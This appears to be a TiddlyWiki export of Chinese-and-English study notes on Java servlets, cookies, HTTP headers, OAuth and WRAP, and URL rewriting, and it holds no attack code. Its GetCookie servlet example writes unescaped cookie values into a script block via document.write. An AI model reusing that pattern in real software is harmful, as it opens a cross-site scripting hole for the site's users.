The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security visible, so that people and organizations can make informed decisions about true application security risks. Everyone is free to participate in OWASP and all of our materials are available under a free and open software license. The OWASP Foundation is a 501c3 not-for-profit charitable organization that ensures the ongoing availability and support for our work with your support.

{{item1{OWASP Project}}}

[[1. OWASP AntiSamy Java Project|http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project]]
an API for validating rich HTML/CSS input from users without exposure to cross-site scripting and phishing attacks (Assessment Criteria v1.0) 

[[2. OWASP WebScarab Project|http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project]]
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server, and to review and modify responses returned from the server before they are received by the browser. WebScarab is able to intercept both HTTP and HTTPS communication. The operator can also review the conversations (requests and responses) that have passed through WebScarab. 

[[3.OWASP WebGoat Project|http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project]]
WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons. In each lesson, users must demonstrate their understanding of a security issue by exploiting a real vulnerability in the WebGoat application. For example, in one of the lessons the user must use SQL injection to steal fake credit card numbers. The application is a realistic teaching environment, providing users with hints and code to further explain the lesson. 


官方網站:http://www.tiddlywiki.com/

|Jeremy Ruston[img[img/Jeremy.jpg]] |<< @@font-size:16pt;color:#00f;line-height:25pt;~TiddlyWiki is a single-file, self-contained wiki for managing micro-content, written in ~JavaScript.@@|
|borderless|k

{{item1{It's a single file}}}
<nowiki>A complete TiddlyWiki is stored in a single file on your computer, and thus belongs to the class of Single Page Applications. That makes it super-easy to move your TiddlyWiki around on a USB stick or by emailing it to yourself. 
</nowiki>

{{item1{It's self-contained}}}
<nowiki>The single file that is a TiddlyWiki contains not only all of your data, but all the machinery to edit and manuipulate it. All you need is a modern web browser, like Mozilla Firefox or Microsoft Internet Explorer. You don't need to have any other special programs installed on your computer, and you don't need to be connected to the Internet. The same TiddlyWiki file will work on just about any computer: Windows PCs, Apple Macs, Linux and BSD boxes.. 
</nowiki>

{{item1{It's a wiki}}}
<nowiki>A wiki is a collection of web pages, like a normal web site, except that every page can be edited, easily and immediately. Wiki systems are often used to collaboratively manage documention for large projects, and also sometimes used by a single user as a kind of personal notebook. 
</nowiki>

{{item1{It manages micro-content}}}
<nowiki>Most web sites and wikis manage information as pages. TiddlyWiki is different -- it saves your stuff in smaller chunks (each chunk is called a 'tiddler'). Information in small chunks like this is called 'micro-content', and once you start usingTiddlyWiki, you realise that micro-content is a natural fit to a lot of the stuff you deal with every day. 
</nowiki>

<<toBalaNotes "TiddlyWiki">>


///%TiddlyWiki
//%/
{{{
<<forEachTiddler
    where
        'tiddler.tags.contains("plugin")'
    write
        '""'
        end 'count+" Tiddlers found\n"'
        none '"No Tiddlers found\n"'
>>
}}}
The macro writes an empty string for every tiddler tagged "basic", i.e. it writes nothing. 

Just at the end it writes the number of found tiddlers (using the ''end'' feature of the ForEachTiddler macro) or "No Tiddler found" if no tiddler is tagged with "basic"  (using the ''none'' parameter) .

''//Result://''
<<forEachTiddler
    where
        'tiddler.tags.contains("plugin")'
    write
        '""'
        end 'count+" Tiddlers found\n"'
        none '"No Tiddlers found\n"'
>>
''參考文章''
1. Handling Cookies
http://www.apl.jhu.edu/~hall/java/Servlet-Tutorial/Servlet-Tutorial-Cookies.html

{{item1{Cookie 應用}}}
Cookies are small bits of textual information that a Web server sends to a browser and that the browser returns unchanged when visiting the same Web site or domain later. By having the server read information it sent the client previously, the site can provide visitors with a number of conveniences:

* Identifying a user during an e-commerce session. Many on-line stores use a "shopping cart" metaphor in which the user selects an item, adds it to his shopping cart, then continues shopping. Since the HTTP connection is closed after each page is sent, when the user selects a new item for his cart, how does the store know that he is the same user that put the previous item in his cart? Cookies are a good way of accomplishing this. In fact, this is so useful that servlets have an API specifically for this, and servlet authors don't need to manipulate cookies directly to make use of it. This is discussed in the tutorial section on Session Tracking.
* Avoiding username and password. Many large sites require you to register in order to use their services, but it is inconvenient to remember the username and password. Cookies are a good alternative for low-security sites. When a user registers, a cookie is sent with a unique user ID. When the client reconnects at a later date, the user ID is returned, the server looks it up, determines it belongs to a registered user, and doesn't require an explicit username and password.
* Customizing a site. Many "portal" sites let you customize the look of the main page. They use cookies to remember what you wanted, so that you get that result initially next time. I'll give an example like this later in this section of the tutorial.
* Focusing advertising. The search engines charge their customers much more for displaying "directed" ads than "random" ads. That is, if you do a search on "Java Servlets", a search site can charge much more for an ad for a servlet development environment than an ad for an on-line travel agent. On the other hand, if the search had been "Bali Hotels", the situation would be reversed. The problem is that they have to show a random ad when you first arrive and haven't yet performed a search, as well as when you search on something that doesn't match any ad categories. Cookies let them remember "Oh, that's the person who was searching for such and such previously" and display an appropriate (read "high priced") ad instead of a random (read "cheap") one. 

<<toBalaNotes "cookie">>

{{item1{Cookie API}}}
Version 2.0 of the Servlet API provides the javax.servlet.http.Cookie class for working with cookies. The HTTP header details for the cookies are handled by the Servlet API. You create a cookie with the Cookie() constructor:
{{{
public Cookie(String name, String value)
}}}
This creates a new cookie with an initial name and value. The rules for valid names and values are given in Netscape's Cookie Specification and RFC 2109.

A servlet can send a cookie to the client by passing a Cookie object to the addCookie() method of HttpServletResponse:
{{{
public void HttpServletResponse.addCookie(Cookie cookie)
}}}
This method adds the specified cookie to the response. Additional cookies can be added with subsequent calls to addCookie() . Because cookies are sent using HTTP headers, they should be added to the response before you send any content. Browsers are only required to accept 20 cookies per site, 300 total per user, and they can limit each cookie's size to 4096 bytes.

The code to set a cookie looks like this:
{{{
Cookie cookie = new Cookie("ID", "123");
res.addCookie(cookie);
}}}
A servlet retrieves cookies by calling the getCookies() method of HttpServlet- Request:

''public Cookie[] HttpServletRequest.getCookies()''
This method returns an array of Cookie objects that contains all the cookies sent by the browser as part of the request or null if no cookies were sent. The code to fetch cookies looks like this:
{{{
Cookie[] cookies = req.getCookies();
if (cookies != null) {
   for (int i = 0; i < cookies.length; i++) {
      String name = cookies[i].getName();
      String value = cookies[i].getValue();
   }
}
}}}
You can set a number of attributes for a cookie in addition to its name and value. The following methods are used to set these attributes. As you can see in Appendix B, "HTTP Servlet API Quick Reference", there is a corresponding get method for each set method. The get methods are rarely used, however, because when a cookie is sent to the server, it contains only its name, value, and version.

''public void Cookie.setVersion(int v)''

    Sets the version of a cookie. Servlets can send and receive cookies formatted to match either Netscape persistent cookies (Version 0) or the newer, somewhat experimental, RFC 2109 cookies (Version 1). Newly constructed cookies default to Version to maximize interoperability.

''public void Cookie.setDomain(String pattern)''

    Specifies a domain restriction pattern. A domain pattern specifies the servers that should see a cookie. By default, cookies are returned only to the host that saved them. Specifying a domain name pattern overrides this. The pattern must begin with a dot and must contain at least two dots. A pattern matches only one entry beyond the initial dot. For example, ".foo.com" is valid and matches www.foo.com and upload.foo.combut not www.upload.foo.com. For details on domain patterns, see Netscape's Cookie Specification and RFC 2109.

''public void Cookie.setMaxAge(int expiry)''

    Specifies the maximum age of the cookie in seconds before it expires. A negative value indicates the default, that the cookie should expire when the browser exits. A zero value tells the browser to delete the cookie immediately.

''public void Cookie.setPath(String uri)''

    Specifies a path for the cookie, which is the subset of URIs to which a cookie should be sent. By default, cookies are sent to the page that set the cookie and to all the pages in that directory or under that directory. For example, if /servlet/CookieMonster sets a cookie, the default path is "/servlet". That path indicates the cookie should be sent to /servlet/Elmo and to /servlet/subdir/BigBird--but not to the /Oscar.html servlet alias or to any CGI programs under /cgi-bin. A path set to "/" causes a cookie to be sent to all the pages on a server. A cookie's path must be such that it includes the servlet that set the cookie.

''public void Cookie.setSecure(boolean flag)''

    Indicates whether the cookie should be sent only over a secure channel, such as SSL. By default, its value is false.

''public void Cookie.setComment(String comment)''

    Sets the comment field of the cookie. A comment describes the intended purpose of a cookie. Web browsers may choose to display this text to the user. Comments are not supported by Version cookies.

''public void Cookie.setValue(String newValue)''

    Assigns a new value to a cookie. With Version cookies, values should not contain the following: whitespace, brackets and parentheses, equals signs, commas, double quotes, slashes, question marks, at signs, colons, and semicolons. Empty values may not behave the same way on all browsers.


{{item1{Cookie 中文值的處理}}}

''public class URLEncoder
extends Object''

Utility class for HTML form encoding. This class contains static methods for converting a String to the application/x-www-form-urlencoded MIME format. For more information about HTML form encoding, consult the HTML specification.

When encoding a String, the following rules apply:
{{{
* The alphanumeric characters "a" through "z", "A" through "Z" and "0" through "9" remain the same.
* The special characters ".", "-", "*", and "_" remain the same.
* The space character " " is converted into a plus sign "+".
* All other characters are unsafe and are first converted into one or more bytes using some encoding scheme. Then each byte is represented by the 3-character string "%xy", where xy is the two-digit hexadecimal representation of the byte. The recommended encoding scheme to use is UTF-8. However, for compatibility reasons, if an encoding is not specified, then the default encoding of the platform is used. 
}}}

For example using UTF-8 as the encoding scheme the string "The string ü@foo-bar" would get converted to "The+string+%C3%BC%40foo-bar" because in UTF-8 the character ü is encoded as two bytes C3 (hex) and BC (hex), and the character @ is encoded as one byte 40 (hex). 

''程式範例''
{{{
import java.io.*;
import java.util.*;
import java.net.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class GetCookie extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html; charset=UTF-8");
    PrintWriter out = res.getWriter();

    String sessionid = null;
    Cookie[] cookies = req.getCookies();
    if (cookies != null) {
	  out.println("<body><script>");
	  // 在 javascript 程式中, 使用 decodeURI 方法反解碼 Servlet 傳回的編碼字串
          out.print("document.write( decodeURI('");   
	  
          for (int i = 0; i < cookies.length; i++) {
		out.print(cookies[i].getName()+" : "+cookies[i].getValue());
          }
	  out.println("'))</script></body>");
    } else {
	  Cookie c = new Cookie("JavaKing", URLEncoder.encode("十個巧克力餅乾","utf-8"));


	  c.setMaxAge(20);     // 設定 20 秒後自動銷毀 (指前端瀏覽器)
                                         // 如果設 -1 代表存活時間一直到瀏覽器關閉
          res.addCookie(c);
	  out.println("JavaKing  保留你的餅乾大約 20 秒");
    }
    out.close();
  }	
}
}}}






///%cookie
//%/
{{op1{取得 HTTP Header 封包}}}
1. 啟動 瀏覽器 (Firefox, IE, Safari,...)
2. 輸入以下網址 
{{{
http://tobala.net/cgi-bin/x/ajaxreq.sh
}}}
3. 傳回內容如下
{{{
SERVER_SIGNATURE=
Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at tobala.net Port 80


HTTP_KEEP_ALIVE=300
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
SERVER_PORT=80
HTTP_HOST=tobala.net
DOCUMENT_ROOT=/home/tbalanet/public_html
HTTP_ACCEPT_CHARSET=Big5,utf-8;q=0.7,*;q=0.7
SCRIPT_FILENAME=/home/tbalanet/public_html/cgi-bin/x/ajaxreq.sh
REQUEST_URI=/cgi-bin/x/ajaxreq.sh
SCRIPT_NAME=/cgi-bin/x/ajaxreq.sh
HTTP_CONNECTION=keep-alive
REMOTE_PORT=1418
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/home/tbalanet/public_html/cgi-bin/x
SERVER_ADMIN=webmaster@tbala.net
HTTP_ACCEPT_LANGUAGE=zh-tw,en-us;q=0.7,en;q=0.3
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
REMOTE_ADDR=115.80.23.145
SHLVL=1
SERVER_NAME=tobala.net
SERVER_SOFTWARE=Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
QUERY_STRING=
SERVER_ADDR=69.89.27.215
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip,deflate
REQUEST_METHOD=GET
_=/usr/bin/env
}}}

<<toBalaNotes "httpheader">>
本文網址 : http://www.httpwatch.com/httpgallery/headers/

Headers are name/value pairs that appear in both request and response messages. The name of the header is separated from the value by a single colon. For example, this line in a request message:
''User-Agent: Mozilla/4.0'' (compatible; MSIE 6.0; Windows NT 5.1)

provides a header called User-Agent whose value is Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1). The purpose of this particular header is to supply the web server with information about the type of browser making the request. A complete definition of this and other commonly encountered HTTP headers can be found in the HTTP 1.1 specification.

Some web applications use custom headers to add comments or annotations to an HTTP message. The convention is to prefix the header name with X- to indicate that it is non-standard. In the previous example, the HTTP response message from this web server set an ''X-AspNet-Version'' header to indicate which version of  ASP.NET it is running.

{{item1{Request Headers}}}
HTTP clients use headers in the request message to identify themselves and control how content is returned. If you are using IE, you will have seen the following headers sent with the request:
{{{
Accept:*/*
}}}
This header indicates that the browser will accept all types of content.
{{{
Accept-Language: en-gb
}}}
The browser prefers British English content.
{{{
Accept-Encoding: gzip, deflate
}}}
The browser can handle gzip or deflate compressed content
{{{
Connection Keep-Alive
}}}
The browser is requesting the use of persistent TCP connections.
{{{
Host: www.httpwatch.com
}}}
HTTP/1.1 requires that the host name is supplied with every request so that multiple domains can be hosted on a single IP address.
{{{
Referer: http://www.httpwatch.com/httpgallery/headers/
}}}
This is supplied by the browser to indicate if the current request was the result of a link from another web page. The server may use this information to gather usage statistics or to track which web sites have links to a page.
{{{
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
}}}
This identifies the browser is Internet Explorer Version 6 running on Windows XP.

{{item1{Response Headers}}}
HTTP servers use headers in the response message to specify how content is being returned and how it should be handled. If you are using IE, you will have seen the following headers returned with the image in Example 2:
{{{
Cache-Control: no-cache
}}}
This header indicates whether the resource may be cached by the browser or any immediate caches. The value no-cache disables all caching.
{{{
Content-Length: 2748
}}}
This header contains the length in bytes of the resource (i.e. the gif image) that follows the headers.
{{{
Content-Type: image/gif
}}}
The content is in GIF format.
{{{
Date: Wed, 4 Oct 2004 12:00:00 GMT
}}}
This is the current date and time on the web server.
{{{
Expires: -1
}}}
The Expires header specifies when the content should be considered to be out of date. The value -1 indicates that the content expires immediately and would have to be re-requested before being displayed again.
{{{
Pragma: no-cache
}}}
The browser may be connecting to the server via HTTP/1.0 proxies or caches, that do not support the Cache-Control header. Setting Pragma to no-cache header prevents HTTP/1.0 caches from storing the content.
{{{
Server: Microsoft-IIS/6.0
}}}
The web server is an IIS 6 web server.
{{{
X-AspNet-Version: 2.0.50727
}}}
The web server is running ASP.NET 2.0
{{{
X-Powered-By: ASP.NET
}}}
The web server is running ASP.NET.




///%httpheader
//%/
{{item1{微軟 Notepad}}}
利用 Notepad 編輯 UTF-8 檔案並儲存,會在檔案開頭留下三個不可見的控制字元。如果在 Internet Explorer 等 瀏覽器下的影響較小,頂多就是在網頁最開頭, 莫名其妙地多了一個換行。

[img[img/servlet/notepad-utf8.gif]]

''使用 Notepad++''

[img[img/servlet/notepad-jsp-utf8.png]]

直接用微軟 [記事本] 編輯程式, 編輯 JSP 後, 存檔時如選擇 UTF8 儲存, 在 JSP 檔的最前面會被加入 ef, bb, bf 這三個字元, 這樣的 JSP 程式檔是無法被編譯. [學習筆記本] 是以 UTF8 儲存 java 程式檔, 但不會在程式檔前面加入 ef bb bf 這三個字元, 所以這樣的程式檔可以被編譯.

''執行 JSP 時的錯誤訊號如下 :''
{{{
HTTP Status 500 -

type Exception report

message

description The server encountered an internal error () that prevented it from fulfilling this request.

exception

org.apache.jasper.JasperException: /testcht.jsp(1,2) Page-encoding specified in XML prolog (UTF-8) is different from that specified in page directive (BIG5)
	org.apache.jasper.compiler.DefaultErrorHandler.jspError(DefaultErrorHandler.java:40)
	org.apache.jasper.compiler.ErrorDispatcher.dispatch(ErrorDispatcher.java:407)
	org.apache.jasper.compiler.ErrorDispatcher.jspError(ErrorDispatcher.java:236)
	org.apache.jasper.compiler.Validator$DirectiveVisitor.comparePageEncodings(Validator.java:364)
	org.apache.jasper.compiler.Validator$DirectiveVisitor.visit(Validator.java:197)
	org.apache.jasper.compiler.Node$PageDirective.accept(Node.java:608)
	org.apache.jasper.compiler.Node$Nodes.visit(Node.java:2361)
}}}

{{item1{Eclipse 3.x}}}

[img[img/jsp/jspencoding.png]]

{{item1{Eclipse & Tomcat 工作目錄}}}
{{{ 
workspace/.metadata/.plugins/org.eclipse.wst.server.core/tmp0/work
}}}
<<toBalaNotes " jspeditor">>



///% jspeditor
//%/
{{item1{What's going on with OAuth?}}}
本文網址 : http://radar.oreilly.com/2010/01/whats-going-on-with-oauth.html

Over the past week there's been a variety of incorrect information shared about what's going on with the OAuth protocol. Chris Messina (Google), Dick Hardt (Microsoft), Eran Hammer-Lahav (Yahoo!), and I (Facebook) wrote this post to help provide a bit more clarity.

The OAuth protocol enables users to provide third-party access to their web resources without sharing their passwords; kind of like a valet key for the web. To date, OAuth 1.0a is the most successful such protocol deployed on the web. The origins of OAuth date back to late 2006, when a small group of web engineers, tired of reinventing the API authorization wheel, came together to find a common, open solution.

The protocol was derived from several existing API authorization protocols, including AOL, Flickr, Google, Microsoft, and Yahoo!. By developing a unified approach to API authorization, the goal was to reduce the burden of implementing any one of these protocols, and provide third party applications a more convenient and secure way to access user data. It is also well-established that security protocols are hard and often suffer from potential exploits. By focusing on an single, open protocol, the community could reduce the likelihood of an attack and respond faster when one occurs.

In the past two years, the number of services that require users to divulge (暴露) their passwords to enable third-party access — the so-called ''password anti-pattern'' — has decreased dramatically. Today the most well-known and used deployment of OAuth 1.0a is the Twitter's API. (If you're interested in a more detailed explanation of OAuth, check out The Authoritative Guide to OAuth 1.0.)

Last year OAuth transitioned to the IETF as a new Working Group to produce version 1.1 which would be suitable for publication as an Internet Standard. The working group was tasked with reviewing the security and interoperability properties of the protocol, while maintaining as much backwards-compatibility as possible. As is sometimes the case in such efforts, there was little interest among the community in such a minor cleanup.

{{op1{Introducing WRAP}}}
At the same time, new use cases emerged as well as a significant amount of hands-on experience about the shortcomings and gaps in the 1.0a version of the protocol. A small group of developers herded by Dick Hardt started work on simplifying the protocol, inspired by the OAuth Session Extension proposed by Yahoo!. Originally dubbed "Simple OAuth", it was later renamed to WRAP (Web Resource Authorization Protocol) to reflect the fact that it is a different protocol. It is now known as ''OAuth WRAP''.

WRAP attempts to simplify the OAuth protocol, primarily by dropping the signatures, and replacing them with a requirement to acquire short lived tokens over SSL. It is not an even trade-off, and the new proposal has a different set of security characteristics, benefits, and shortcomings.

In 2007 when OAuth 1.0 was being created, SSL was used sparingly (拘謹地) for APIs. As CPUs have become faster and more specialized SSL hardware has been deployed, it has become increasingly possible to operate APIs over SSL. Some APIs, like the Google Health Data API or Yahoo!'s Fire Eagle API, operate fully over SSL anyway as developers are interacting with non-public data. Using SSL obviates the primary purpose of the cryptography used in OAuth 1.0a, which was designed for transferring data over insecure channels.

WRAP addresses two areas in which the 1.0a protocol is lacking: it offers new ways to obtain tokens, and it evolves the architecture to enable other roles to issue tokens (other than the server). OAuth 1.0a offers a single browser-based redirection flow used to send the user from the application to the server, obtain approval, and return to the application. WRAP adds a few new flows for obtaining authorization and tokens mainly designed around providing better experiences on devices such as your XBox, desktop applications like TweetDeck, or fully JavaScript based implementations like Facebook Connect. And unlike 1.0a where the server issues and verifies every token, the tokens in OAuth WRAP are short lived and can represent claims issued by an authorization server, providing scale and security benefits for large operators.

Judging by the original "Simple OAuth" moniker, the goal behind WRAP was not to confuse developers or compete with OAuth. The intention, rather, was to promote OAuth and increase long term adoption by offering an SSL variant. Therefore, if you're building a new API today and are trying to decide between deploying OAuth 1.0a or OAuth WRAP, nine times out of ten you should continue deploying OAuth 1.0a. But start experimenting with WRAP when its features are important to you and you are comfortable making changes as it evolves.

{{op1{Building OAuth 2.0}}}
WRAP brought the use cases and experiences that inspired it to the attention of the IETF working group. The consensus (一致) is that we now have enough implementation experience and new requirements to begin work on OAuth 2.0, instead of a minor revision. ''OAuth 2.0 will likely contain two parts, one defining an authentication scheme for accessing resources using tokens, and the second defining a rich set of authorization schemes for obtaining such tokens''. By separating the two parts, we will be able to provide the right level of abstraction and modularity to support both the SSL-based approach taken by WRAP as well as the existing signature-based approach taken by 1.0a.

In many ways, OAuth 2.0 will be the result of combining the best ideas from both protocols. The authentication part will built on top of 1.0a while the authorization part will build on top of WRAP. It is important to remember that it is very early in the process, and that all these decision will be made by the members of the IETF OAuth working group. In other words, by those who show up. The goal is to have a set of stable drafts for OAuth 2.0 by the upcoming IETF OAuth Working Group meeting in March at the 77th IETF meeting.

For those implementing OAuth 1.0a today, a new edition has been published as an RFC draft which was accepted by the community as a replacement for the original 1.0a specification. This new specification does not change the protocol, but is more readable, includes many clarifications, errata, and examples, and thus easier to implement.

If you're interested in keeping track of what's going on with OAuth, Hueinverse's OAuth page is a great place to watch. To get involved and take part in this important work, dig into the IETF OAuth Working Group and WRAP discussion list.


{{item1{OAuth and OAuth WRAP: defeating the password anti-pattern}}}
本文網址 : http://arstechnica.com/open-source/guides/2010/01/oauth-and-oauth-wrap-defeating-the-password-anti-pattern.ars

The developers behind the OAuth protocol have developed a new variant called OAuth WRAP that is simpler and easier to implement. It's a stop-gap solution that will enable broader OAuth adoption while OAuth 2.0, the next generation of the specification, is devised by a working group that is collaborating through the Internet Engineering Task Force (IETF).
Understanding the password anti-pattern

Many popular Web applications allow third-party software to access their underlying services through open APIs. This enables the development of Web mashups and mobile and desktop client applications. Although these open APIs bring a lot of value to the Web and make it possible for various services to interoperate in important ways, it can be difficult to make this functionality available in a manner that safeguards the security of end users.

The APIs often require authentication for sensitive or user-specific features. For example, in order for a desktop application to be able to access a user's account on a hypothetical Web service, the user must first supply the application with their login credentials. The application can only access the user's account if it transmits the user's credentials to the server.

Although this form of simple login-based authentication is very easy to implement, it creates a tremendous number of problems. One of the biggest issues is that there is no easy easy way for the user to revoke access permissions from an individual application. It can be especially difficult to remove your credentials from third-party Web applications, which you can't just uninstall.

When third-party software runs amok with your login information for a Web application, the only way to stop it in some cases is to change your password. Another problem with simple login-based authentication is that there is no way to control how much access an individual third-party application gets: it's an all-or-nothing deal based on whether you are willing to give the program your password.

What users need is a granular authorization system that will allow them to selectively grant revokable privileges to individual applications without having to supply a global password. Several popular Web applications, such as Facebook, have implemented their own authentication systems that aim to do precisely that.

But for application developers who want to make their software work with a variety of popular Web services, it's not especially pleasant to have to work with a variety of different authentication systems. Obviously, what developers need is a standards-based solution. That's where OAuth comes into play. It's the first step towards delivering a standard protocol for password-less Web authentication that works across the Web and the desktop.

OAuth has not been widely-adopted yet, but it has gained traction in some environments. Twitter and Digg both have experimental support for OAuth and both services plan to make it mandatory for application authentication in the future. Unfortunately, the current version of the standard—1.0 revision A—suffers from a number of deficiencies that make it burdensome for application developers to support.
OAuth 1.0, an inelegant solution to a difficult problem

OAuth was created by some of the some people who developed OpenID, but it's important to understand that the two protocols are fundamentally different in some key ways. OpenID is a solution for Web-based single sign-on whereas OAuth is for making secure resources in a Web application accessible to third-party software, including desktop applications. There is a certain degree of overlap, but the two standards are complementary rather than competitive.

The OAuth protocol is complicated and a full explanation of how it works is beyond the scope of this article. We are just going to look briefly at the general flow of the authentication process. Yahoo has a reasonably accessible overview that I recommend reading if you want a more detailed and developer-centric technical introduction.

    * The client application asks the server for a request token.
    * The application directs the user to a Web page on the server where they can agree to authorize the desktop application. The request token that was obtained from the server is supplied as a parameter in the URL that is used to direct the user to the authentication page.
    * When the user authorizes the application, the server provides a verification code.
    * The application trades the request token and the verification code for an access token
    * The application can now use the access token to interact with the Web service. Tokens are generally set to expire at routine intervals and must be renewed periodically.

The general process as described above isn't too bad, but it's encumbered with a lot of other complexity that makes the protocol painful to work with. At every step of the authentication process and in every API call, the application has to provide a number of other parameters including timestamps, nonces, and a cryptographic signature. This is done so that the API calls can be transmitted across the wire sans SSL without compromising the user's security.

The protocol is challenging to implement properly. The existing libraries lack maturity and are significantly under-documented. These issues are problematic because they create a higher barrier to entry for application developers who want to use Web APIs that require OAuth for authentication.

Another problem with OAuth is that its reliance on browser-based authorization poses challenges for desktop, mobile, and embedded applications that are not running in the user's browser. A Web application can use simple redirects, but a desktop application has to rely on a Web browser or have an embedded browser in order to facilitate authorization. The standard approach is to provide a URL for the user to visit in an in external browser and then require the user to copy and paste a key value back into the desktop application. This process is highly unintuitive and can be prohibitively difficult in some environments—particularly mobile devices or set-top boxes.

One of the major factors that has driven Twitter's success is the rapid proliferation of third-party tools—a trend that was made possibly by Twitter's extraordinarily simple API. Using HTTP "Basic" authentication, I can post a message to Twitter with only one line of Python code. Doing the same thing with OAuth requires significantly more code, even if I use an existing OAuth Python library. If Twitter follows through with its plan to mandate OAuth, it could stifle the growth of the ecosystem of third-party tools.

OAuth 1.0a certainly defeats the password anti-pattern, but it's a suboptimal solution in some very frustrating ways. Fortunately, key people behind the standard are aware of these issues and are working to find solutions.
OAuth WRAP and OAuth 2.0: making a better solution

The OAuth Web Resource Authorization Protocol (WRAP) is a simplified variant of OAuth that aims to reduce the complexity of the protocol. It eliminates the need for OAuth's signatures by requiring communication to take place over SSL-encrypted connections—effectively moving encryption to a lower level of the stack where it can be handled natively by the networking libraries that are already used by the application. Facebook's David Recordon, one of the creators of OpenID and OAuth, shared some details about OAuth WRAP in a recent article at O'Reilly Radar.

"WRAP attempts to simplify the OAuth protocol, primarily by dropping the signatures, and replacing them with a requirement to acquire short lived tokens over SSL. [...] Using SSL obviates the primary purpose of the cryptography used in OAuth 1.0a, which was designed for transferring data over insecure channels," he wrote. "Unlike 1.0a where the server issues and verifies every token, the tokens in OAuth WRAP are short lived and can represent claims issued by an authorization server, providing scale and security benefits for large operators."

Bret Taylor, director of products at Facebook and former CEO of FriendFeed, recently wrote a blog entry that describes a bit more clearly how OAuth WRAP works in practice. After the application goes through the steps to obtain the access token, it can simply supply that token as a URL parameter in SSL-encrypted API calls. He says that adding OAuth WRAP support to FriendFeed was easy and that it can coexist with the regular OAuth implementation that the service already supported.

"I was able to implement WRAP on top of our existing support for OAuth, using the same tokens for both. As a consequence, our existing user interfaces for revoking applications work whether an app is using OAuth or OAuth WRAP. If we hadn't implemented OAuth support, OAuth WRAP would have been much easier to implement on its own because it is stateless; the verification code / access token exchange is so much simpler than the OAuth token exchange protocol."

OAuth WRAP looks like a much better approach than OAuth 1.0a. As an application developer, I'm very happy to see the protocol moving in this direction. It seems like a good, pragmatic balance of security and ease of development. Not everybody agrees, however. Some critics, like security researcher Ben Adida, contend that it's unwise to depend on SSL because you can't count on application developers to configure it properly and use it consistently.

"That we would introduce a token-as-password web security protocol in 2010 is somewhat mind-boggling," he wrote. "I see reasons to simplify OAuth. Maybe rethink the combination of consumer and access secrets, which is a bit messy. Maybe rethink the token renewal process and make it part of the core. But removing signatures? I think this is asking for long-term trouble in exchange for a modest amount of short-term simplicity."
Growing adoption and the future of the protocol

As Recordon explained in his article, a new version of the protocol—called OAuth 2.0—is being developed through IETF with the aim of making improvements based on feedback from the industry and some of the lessons that were learned during the making of OAuth WRAP. He also says that the developers are looking at ways to improve the authorization experience for devices and desktop applications.

"In many ways, OAuth 2.0 will be the result of combining the best ideas from both protocols. The authentication part will built on top of 1.0a while the authorization part will build on top of WRAP. It is important to remember that it is very early in the process, and that all these decision will be made by the members of the IETF OAuth working group. In other words, by those who show up. The goal is to have a set of stable drafts for OAuth 2.0 by the upcoming IETF OAuth Working Group meeting in March at the 77th IETF meeting."

OAuth is starting to attract considerable interest from heavyweights of the Web world. The working group includes representatives from Facebook, Google, Microsoft, Yahoo, and other companies. Facebook recently announced that it plans to adopt OAuth WRAP for its Facebook Connect login service, replacing its own proprietary framework. Although OAuth 1.0a leaves a lot to be desired, the protocol is maturing and becoming an increasingly desirable solution for standards-based password-less authentication.
[img[img/servlet/servletrun.png]]

[img[img/servlet/servletlife.png]]

{{item1{Each request runs in a separate thread}}}
[img[img/servlet/servletthread.png]]

46,47
當前端將 Cookie 關閉時, 可使用 URLRewrite 方式與前端使用者互動

{{{
import javax.servlet.*;
import javax.servlet.http.*;

public class UrlRewrite extends HttpServlet {

  public void doGet(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, java.io.IOException {

    response.setContentType("text/html");
    java.io.PrintWriter out = response.getWriter();
    String contextPath = request.getContextPath();
    out.println("<html>");
    out.println("<head><title>URL Rewriter</title></head>");
    out.println("<body>");
    out.println("<h1>This page will use URL rewriting if necessary</h2>");
	
    HttpSession session = request.getSession(false);
	if (session==null){
	  out.println("no session was available<br/>");
	  out.println("making one...<br/>");
	  session = request.getSession();
	} else {
	  out.println("Session ID "+session.getId());
	}
	
	String encodedUrl = response.encodeURL(contextPath + "/UrlRewrite.do");

    out.println("<a href=\"" + encodedUrl + "\">here</a>.");
    out.println("</body>");
    out.println("</html>");
  }

  public void doPost(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, java.io.IOException {
    doGet(request, response);
  }
}
}}}

<<toBalaNotes "urlrewrite">>



///%urlrewrite
//%/

官方網站 : http://winscp.net/eng/docs/lang:cht

WinSCP 是在 Windows 中使用 SSH 的開放原始碼的圖形化 SFTP 用戶端。WinSCP 同時也支援 SCP 通訊協定。它主要的功能是安全的在電腦間傳輸檔案。

{{op1{取得與安裝 WinSCP}}}
